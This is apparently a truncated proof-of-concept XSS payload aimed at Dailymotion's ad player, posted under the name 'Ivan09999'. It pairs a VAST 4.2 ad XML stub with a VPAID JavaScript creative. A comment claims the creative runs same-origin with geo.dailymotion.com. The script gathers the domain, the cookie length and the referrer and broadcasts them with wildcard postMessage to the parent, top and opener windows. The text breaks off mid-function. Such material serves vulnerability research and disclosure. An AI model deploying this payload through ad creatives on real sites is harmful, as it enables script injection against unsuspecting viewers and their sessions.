Ivan09999

<?xml version="1.0" encoding="UTF-8"?>
<VAST version="4.2">
  <Ad id="vast-xss-test"><InLine>
    <AdSystem>tester</AdSystem>
    <AdTitle>vpaid-xss</AdTitle>
    <Impression>https://example.com/imp</Impression>
    <Creatives>
      <Creative>
        <Linear>
          <Duration>00:00:30</Duration>

Ivan09999

(function() {
  // VPAID 2.0 stub — minimum needed for player to instantiate the ad
  function VpaidAd() {}
  VpaidAd.prototype.handshakeVersion = function(v) { return "2.0"; };
  VpaidAd.prototype.initAd = function(w,h,vm,d,e,p) {
    // SAME-ORIGIN with geo.dailymotion.com — any access window.parent / document.cookie / postMessage works
    var marker = "XSS_VAST_VPAID_2026-04-30:" + document.domain + ":cookie_len=" + document.cookie.length + ":referrer=" + document.referrer.substr(0,80);
    try { top.postMessage(marker, "*"); } catch(e) {}
    try { window.parent.postMessage(marker, "*"); } catch(e) {}
    try { window.opener && window.opener.postMessage(marker, "*"); } catch(e) {}